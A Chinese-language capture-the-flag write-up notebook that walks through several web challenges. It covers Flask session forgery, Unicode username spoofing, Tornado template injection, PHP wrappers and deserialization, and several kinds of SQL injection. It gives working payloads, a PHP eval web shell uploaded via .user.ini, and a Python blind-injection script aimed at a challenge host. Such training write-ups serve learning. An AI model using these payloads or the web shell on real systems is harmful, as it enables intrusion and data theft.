WP_week2
week2
flask session欺骗
[HCTF 2018]admin
考点:
1.flask session欺骗:
原理:flask仅仅对数据进行了签名,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
flask下,session都有一个key 用来加密session,对其使用脚本解密,修改,伪造
脚本"flask-session-cookie-manager-master"
2.爆破
3.unicode欺骗
解题过程
法一(爆破):
step1:
源码看到要求admin用户,但是密码不知道,这道题,可以用bp对密码进行爆破
username:admin password:123
法二(Unicode欺骗):
step1:发现注册页面,我们注册一个账号,进去看看有什么信息,在chang源码下发现一个github链接,是题目的源码(原链接已经打不开,我自己在github上找的一个):https://github.com/cor0ps/HCTF2018_admin
step2:在routes.py里面看到了name = strlower(form.username.data),就是说用户名输入什么都会变成小写形式,所以想到ADMIN绕过,但是ADMIN也是显示被注册了。
step3:但python中自带转小写函数lower()却没有用,跟进strlower函数看看是如何使用的;发现其使用的nodeprep.prepare(),而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0,这里有个unicode的漏洞 https://symbl.cc/en/unicode/blocks/phonetic-extensions/
于是我们使用ᴀDMIN进行注册,注册之后修改密码,实际上修改的就是admin的密码,然后登录
法三:(flask下session伪造)
step1:题目要求用户是admin,我们想到cookie和session,先注册一个我们自己的账号,再我们打开cookie看到了session的字段但是以.e开头,所以被加密;
step3:我们使用session解密工具,得到一串看到username:111;我们将这段修改的字符串放进加密工具里面,在config.py存在SECRET_KEY,得用它加密,得到的去替换原来的session,刷新一边就可以了
记一个脚本
用了itsdangerous库进行签名和Base64编码以及可能的zlib压缩的会话cookie
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
tornado模板注入
护网杯 2018]easy_tornado
考点
tornado模板注入
知识点
https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html (语法)
1.表达式使用{{}}进行包裹
2.看到tornado模板基本上可以通过handler.settings一把梭。(可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息)
解题过程
step1:
打开环境看到三个提示,1.flag in /fllllllllllllag 2.render 3.md5(cookie_secret+md5(filename)) 看到url上filename=.....&filehash=......filename已经知道filename为fllllllllllllag,现在得知道cookie_secret
step2:
看到了render函数,我们修改了下filehash,url变成?msg=error,测试?msg={{1*1}}回显orz,所以是tornado模板注入,以及我们需要知道set_cookie是什么
payload:?msg={{hander.settings}}就看到了set_cookie的信息
step3:
按要求拼接加密得到payload获得flag信息
RCE
[ZJCTF 2019]NiZhuanSiWei
考点
1.php伪协议:
知识点
data:// 写入数据
php://input 执行php
//filter 查看源码
解题过程
step1:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
审计源码,需要我们传递参数,需要我们写入数据,这里用到了伪协议 data://,然后file_get_contnets()读取里面的字符串与之匹配
step2:
flag.php不可以直接访问,我们需要读取useless.php的源码,这时候用到了伪协议中的php://filter来读取,我们读取的字符串是base64格式的需要我们进行转码
step3:
构造反序列化,得到最终的password.
step4:
构造最终的payload,然后在源码中获得flag.
SQL(报错)
[极客大挑战 2019]HardSQL
考点:
报错注入
知识点:
报错注入:
在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)
解题过程:
step1:
试了几个语句,都没有回显,所以猜测肯定是有过滤,用bp进行字典爆破,发现像union and by什么的被过滤了,在后续测试中发现空格过滤了,我们可以用()来绕过
step2:爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
step3: 爆表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
step4:爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
step5: 爆数据
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
step6:得到一半数据,使用right函数获得剩下的数据
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
代码审计
[MRCTF2020]Ez_bypass
考点
代码审计
解题过程:
step1:
整理代码,代码审计
step2:
一个MD5弱比较,一个弱比较,直接绕过出答案
unserialize
[网鼎杯 2020 青龙组]AreUSerialz
知识点
反序列化
解题过程:
step1:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
审计代码,发现是反序历化,那个function is_valid($s)不影响,没有要绕过的点,以及我们发现这里面读文件的我们需要的,所以op=2,filename="flag.php"
step2:序列化
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content;
}
$a=new FileHandler();
$str=serialize($a);
echo $str;
?>
得到:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
step3:
payload:
/?str=
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
文件上传
[SUCTF 2019]CheckIn
考点:
文件上传
知识点:
.user.ini php配置文件:帮忙解析php文件
.htaccess:
解题过程:
step1:
上传一句话木马,发现对文件后缀名,<?,文件内格式都进行了验证,我们最后的木马是:
GIF89a
<script language="php">
eval($_POST['666']);
echo "YES";
</script>
但是上传成功,没有被解析
step2:
上传.user.ini文件去解析木马
step3:
上传成功,这里是访问,uplods/xxxxxxxx/index.php,用蚁剑连接后台,找到flag
SQL注入
[GXYCTF2019]BabySQli
考点
SQL注入
考点:
联合查询:
在使用联合注入时,如果你查询的数据不存在,那么就会生成一个内容为null的虚拟数据,也就是说在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。所以这时我们就可以在注入时添加我们需要的信息来完成我们的目的。
eg:
解题过程:
step1:
一个登录页面,进行弱口令,还有万能密码,测试都没用,但是注意到url跳转的是search.php,于是我们直接访问,看到MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5这是一个base32卫门解码,后面是一个base64解码之后:select * from user where username = '$name',于是我们知道参数是name;
step2:
测试是GET还是POST,发现是POST,进行注入,发现order by一直没用,猜测过滤了什么,于是我直接进行union select有回显,然后进行基本SQL操作时都有问题,后面我看源码,发现:
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
step3:
payload:name=1' union select 1,'admin','fae0b27c451c728867a567e8c1bb4e53'#&pw=666
SQL注入(HANDLER语句)
[GYCTF2020]Blacklist
考点
sql注入
知识点:
当一些重要的查询语句被过滤时候可以用
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
解题过程
step1:
测试过不是联合查询;是堆叠注入
1';show databases#
step2: 爆表:
1';show tables#
step3:爆列:
1';show columns from FlagHere#
step4:爆数据:
1';select flag from FlagHere#
step5:
发现没有用,返回了过滤的
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
于是用HANDLER
step6:
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;(FIRST是读取第一行,因为试READ flag没用)
SQL(盲注)
[CISCN2019 华北赛区 Day2 Web1]Hack World
考点:
布尔盲注
知识点:
布尔盲注
解题过程:
step1:
输入1,2,有两种回显;于是想到布尔盲注
step2:
判断长度
import requests
#测试flag长度
#空格被过滤
url = "http://7e371188-ce56-47e5-82ff-ba44e945923c.node5.buuoj.cn:81/index.php"
len = 1;
while(True):
data = {"id": f"if(length((select(flag)from(flag)))={len},1,0)"}
r = requests.post(url,data=data)
if('Hello, glzjin wants a girlfriend.' in r.text):
break;
print(len,end='\n')
len += 1
print(f"flag长度为{len}")
step3:
import requests
import time
url = "http://7e371188-ce56-47e5-82ff-ba44e945923c.node5.buuoj.cn:81/index.php"
flag = ''
for x in range(1,43):
left = 33
right = 126
while(right > left):
mid = int((left + right + 1) / 2)
data = {'id':f"if(ascii(substr((select(flag)from(flag)),{x},1))>={mid},1,0)"}
r = requests.post(url,data=data)
if('Hello, glzjin wants a girlfriend.' in r.text):
left = mid
else:
right = mid - 1
time.sleep(0.1)
flag += chr(right)
print(flag)
print(f"flag为{flag}")